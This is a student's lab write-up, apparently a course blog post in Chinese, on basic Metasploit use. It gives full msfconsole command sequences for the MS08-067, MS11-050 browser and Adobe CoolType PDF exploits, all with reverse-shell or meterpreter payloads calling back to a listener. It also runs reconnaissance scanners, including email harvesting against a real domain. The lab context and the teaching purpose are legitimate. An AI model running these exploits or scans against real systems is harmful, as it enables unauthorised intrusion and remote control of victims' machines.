20155333 《网络对抗》 Exp5 MSF基础应用 20155333 《网络对抗》 Exp5 MSF基础应用

基础问题回答

用自己的话解释什么是exploit,payload,encode

  • exploit:攻击手段,是能使攻击武器(payload)的方法;
  • payload:攻击武器,真正具有攻击性的代码;
  • encode:编码方式,根据payload将要被放置的环境选择合适的编码方式,使它能够正常的运行。

实践

一个主动攻击实践,如ms08_067

①攻击机:kali ②靶机:windows XP SP3(English)

在攻击机kali输入msfconsole进入控制台,依次输入以下指令:

msf > use exploit/windows/smb/ms08_067_netapi//使用ms08_067漏洞,use后其实是漏洞所在目录路径名

msf exploit(ms08_067_netapi) > show payloads//显示回连攻击载荷

msf exploit(ms08_067_netapi) > set payload generic/shell_reverse_tcp //tcp反向回连

msf exploit(ms08_067_netapi) > set LHOST 192.168.43.146 //攻击机ip

msf exploit(ms08_067_netapi) > set LPORT 5333 //攻击端口

msf exploit(ms08_067_netapi) > set RHOST 192.168.43.18 //靶机ip,特定漏洞端口已经固定

msf exploit(ms08_067_netapi) > set target 0 //自动选择目标系统类型,匹配度较高

msf exploit(ms08_067_netapi) > exploit //攻击

20155333 《网络对抗》 Exp5 MSF基础应用
20155333 《网络对抗》 Exp5 MSF基础应用

建立会话,攻击成功结果如下:

20155333 《网络对抗》 Exp5 MSF基础应用
20155333 《网络对抗》 Exp5 MSF基础应用

一个针对浏览器的攻击,如ms11_050

①攻击机:kali ②靶机:WindowsXP Professional sp2/Windows7专业版 ③IE版本:7.0/8.0

在攻击机kali输入msfconsole进入控制台,依次输入以下指令:

msf > use windows/browser/ms11_050_mshtml_cobjectelement//使用浏览器ms11_050漏洞

msf exploit(ms11_050_cobjectelement) > set payload windows/meterpreter/reverse_http //http反向回连

msf exploit(ms11_050_cobjectelement) > set LHOST 192.168.43.146 //攻击机ip

msf exploit(ms11_050_cobjectelement) > set LPORT 5333 //攻击端口固定

msf exploit(ms11_050_cobjectelement) > set URIPATH 5333rh123 //统一资源标识符路径设置

msf exploit(ms11_050_cobjectelement) > exploit

20155333 《网络对抗》 Exp5 MSF基础应用
20155333 《网络对抗》 Exp5 MSF基础应用

在浏览器输入http://192.168.43.146:8080/5333rh123,IE出现数据执行保护弹窗和警告弹窗,遇到问题需关闭程序:

20155333 《网络对抗》 Exp5 MSF基础应用
20155333 《网络对抗》 Exp5 MSF基础应用

20155333 《网络对抗》 Exp5 MSF基础应用
20155333 《网络对抗》 Exp5 MSF基础应用

修改Internet的安全设置后仍旧失败了!

20155333 《网络对抗》 Exp5 MSF基础应用
20155333 《网络对抗》 Exp5 MSF基础应用

一个针对客户端的攻击,如Adobe

①攻击机:kali ②靶机:windowsXP Professional sp2 ③Adobe版本:9.3

在攻击机kali输入msfconsole进入控制台,依次输入以下指令:

msf > use windows/fileformat/adobe_cooltype_sing

msf exploit(adobe_cooltype_sing) > set payload windows/meterpreter/reverse_tcp //tcp反向回连

msf exploit(adobe_cooltype_sing) > set LHOST 192.168.199.170 //攻击机ip

msf exploit(adobe_cooltype_sing) > set LPORT 5333 //攻击端口

msf exploit(adobe_cooltype_sing) > set FILENAME 20155333.pdf //设置生成pdf文件的名字

msf exploit(adobe_cooltype_sing) > exploit //攻击

成功生成20155333.pdf:

20155333 《网络对抗》 Exp5 MSF基础应用
20155333 《网络对抗》 Exp5 MSF基础应用

将pdf文件传送或拷贝到靶机上后,在kali上输入back退出当前模块,进入监听模块,输入以下命令:

msf > use exploit/multi/handler //进入监听模块

msf exploit(handler) > set payload windows/meterpreter/reverse_tcp //tcp反向连接

msf exploit(handler) > set LHOST 192.168.199.170 //攻击机ip

msf exploit(handler) > set LPORT 5333 //攻击端口固定

msf exploit(handler) > exploit

然后在靶机上打开20155333.pdf文件

20155333 《网络对抗》 Exp5 MSF基础应用
20155333 《网络对抗》 Exp5 MSF基础应用

连接失败 ,大概是因为我下载的是Abode Reader XI,已经没有漏洞了。

20155333 《网络对抗》 Exp5 MSF基础应用
20155333 《网络对抗》 Exp5 MSF基础应用

成功应用任何一个辅助模块

可以使用命令msf > show auxiliary查看所有的辅助模块:
一、扫描端口

msf > use auxiliary/scanner/portscan/syn//使用portscan模块

msf auxiliary(syn) > show options

msf auxiliary(syn) > set RHOSTS 192.168.199.140//目标

msf auxiliary(syn) > set THREADS 50//线程

msf auxiliary(syn) > exploit

二、ssh服务器扫描

msf > use auxiliary/scanner/ssh/ssh_version //使用ssh_version模块

msf auxiliary(ssh_version) > show options //查看选项

msf auxiliary(ssh_version) > set RHOSTS 10.107.100.0/24//目标网段

msf auxiliary(ssh_version) > set THREADS 50//线程

msf auxiliary(ssh_version) > exploit
三、telnet服务器扫描

msf > use auxiliary/scanner/telnet/telnet_version //使用telnet_version模块

msf auxiliary(telnet_version) > show options //查看选项

msf auxiliary(telnet_version) > set RHOSTS 10.180.100.0/24//目标网段

msf auxiliary(telnet_version) > set THREADS 50//线程

msf auxiliary(telnet_version) > exploit

20155333 《网络对抗》 Exp5 MSF基础应用
20155333 《网络对抗》 Exp5 MSF基础应用

20155333 《网络对抗》 Exp5 MSF基础应用
20155333 《网络对抗》 Exp5 MSF基础应用

四、搜索网站中的Email地址

msf > use auxiliary/gather/search_email_collector //使用search_email_collector模块

msf auxiliary(search_email_collector) > show options//查看选项

msf auxiliary(search_email_collector) > set DOMAIN baidu.com//扫描目标

msf auxiliary(search_email_collector) > exploit

五、扫描局域网有多少主机存活

msf > use auxiliary/scanner/discovery/arp_sweep //使用discovery/arp_sweep模块

msf auxiliary(arp_sweep) > show options //查看选项

msf auxiliary(arp_sweep) > set RHOSTS 10.180.100.0/24//目标网段

msf auxiliary(arp_sweep) > set THREADS 50//线程

msf auxiliary(arp_sweep) > exploit

尝试利用ms11_006_createsizeddibsection漏洞进行攻击

20155333 《网络对抗》 Exp5 MSF基础应用
20155333 《网络对抗》 Exp5 MSF基础应用

20155333 《网络对抗》 Exp5 MSF基础应用
20155333 《网络对抗》 Exp5 MSF基础应用

20155333 《网络对抗》 Exp5 MSF基础应用
20155333 《网络对抗》 Exp5 MSF基础应用

20155333 《网络对抗》 Exp5 MSF基础应用
20155333 《网络对抗》 Exp5 MSF基础应用

实验总结与体会

这次实验的过程可以说是很艰难了,即使参考了学长和其他同学的博客,依旧没能成功做完所有实践,希望能够改进吧。